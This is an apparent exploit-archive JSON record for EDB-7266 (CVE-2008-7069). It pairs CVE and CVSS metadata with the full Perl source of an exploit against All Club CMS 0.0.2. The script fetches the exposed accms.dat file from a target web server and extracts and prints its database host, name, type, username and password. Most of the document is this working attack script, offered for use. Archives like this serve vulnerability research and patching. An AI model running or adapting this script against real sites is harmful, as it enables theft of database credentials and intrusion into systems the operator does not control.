{"exploit":{"id":"EDB-7266","name":"All Club CMS 0.0.2 - Remote Database Configuration Retrieve","description":"All Club CMS 0.0.2 - Remote Database Configuration Retrieve","cves":["CVE-2008-7069"],"author":"StAkeR","published":"2008-11-28","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7266","path":"exploits/php/webapps/7266.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7266.pl","vulnerabilities":[{"id":"CVE-2008-7069","state":"PUBLISHED","title":null,"titleSource":null,"description":"All Club CMS (ACCMS) 0.0.2 and earlier stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain database configuration information, including credentials, via a direct request to accms.dat.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-7069","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-7069"},"updatedAt":"2024-08-07T11:56:14.066Z","retrievedAt":"2026-11-27T13:11:41.858Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7266.png?v=2","url":"https://exploitbin.com/exploits/EDB-7266","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7266/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7266/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n=about\n\n All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit\n -------------------------------------------------------\n by athos - staker[at]hotmail[dot]it\n download on http://sourceforge.net\n -------------------------------------------------------\n Usage: perl exploit.pl localhost/cms [MODE]\n        perl exploit.pl localhost/cms all\n        perl exploit.pl localhost/cms default\n -------------------------------------------------------\n NOTE: Don't add me on MSN Messenger\n\n\n=cut\n\nuse strict;\nuse warnings;\nuse IO::Socket;\nuse LWP::UserAgent;\n\nmy (@conf,$result);\n\nmy $host = shift;\nmy $path = shift;\nmy $mode = shift or &usage;\nmy @data = split /=\\s/,dbconfig();\n\ndie \"Exploit Failed!\\n\" unless(join('',@data) =~ /DB_PASS/i);\n\nif($mode =~ /all/i)\n{\n   my $http = new LWP::UserAgent(\n                                  agent   => 'Lynx (textmode)',\n                                  timeout => 5,\n                                ) or die $!;\n\n   my $send = $http->get(\"http://${host}/${path}/accms.dat\");\n\n   if($send->is_success)\n   {\n      print STDOUT $send->content;\n      exit;\n   }\n   else\n   {\n      print STDERR $send->status_line;\n      exit;\n   }\n}\n\n\nif($mode =~ /default/i)\n{\n   $data[9] =~ s/\\s/\\0/;      # password\n   $data[8] =~ s/DB_PASS/\\0/; # username\n   $data[7] =~ s/DB_USER/\\0/; # db host\n   $data[6] =~ s/DB_HOST/\\0/; # db name\n   $data[5] =~ s/DEF_DB/\\0/;  # db type\n\n   @conf = (\n             'dbhost:'   => $data[7],\n             'dbname:'   => $data[6],\n             'dbtype:'   => $data[5],\n             'username:' => $data[8],\n             'password:' => $data[9],\n          );\n\n   foreach(@conf)\n   {\n      $result .= $_;\n   }\n\n   my $content = join '',split / /,$result;\n\n   if($content =~ /(dbhost|dbname|dbtype|username|password)/i)\n   {\n      print STDOUT \"[-] Exploit Successfully!\\n\";\n      print STDOUT $content;\n      exit;\n   }\n   else\n   {\n      print STDOUT \"[-] Exploit Failed!\\n\";\n      print STDOUT \"[-] by athos - staker[at]hotmail[dot]it\\n\";\n      exit;\n   }\n}\n\n\nsub dbconfig\n{\n   my $html;\n   my $sock = new IO::Socket::INET(\n                                    PeerAddr => $host,\n                                    PeerPort => 80,\n                                    Proto    => 'tcp',\n                                  ) or die $!;\n\n\n   my $data = \"GET /$path/accms.dat HTTP/1.1\\r\\n\".\n              \"Host: $host\\r\\n\".\n              \"User-Agent: Lynx (textmode)\\r\\n\".\n              \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\".\n              \"Accept-Language: en-us,en;q=0.5\\r\\n\".\n              \"Accept-Encoding: text/plain\\r\\n\".\n              \"Connection: close\\r\\n\\r\\n\";\n\n   $sock->send($data);\n\n   while(<$sock>)\n   {\n      $html .= $_;\n   }  return $html if $html =~ m{HTTP/1.1 200 OK};\n}\n\n\n\nsub usage\n{\n   print STDOUT \"[-] All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit\\n\";\n   print STDOUT \"[-] Usage: perl $0 [host] [path] [mode]\\n\";\n   print STDOUT \"           perl $0 localhost /cms all\\n\";\n   print STDOUT \"           perl $0 localhost /cms default\\n\";\n   exit;\n}\n\n# milw0rm.com [2008-11-28]","sha256":"bcbca6101c10095bdfdf51d40d531d333c782a84c713911f051bae8b46d858d4","bytes":3113,"fetchedAt":"2026-11-27T13:11:40.947Z","encoding":"utf-8 (display only; download retains original bytes)"}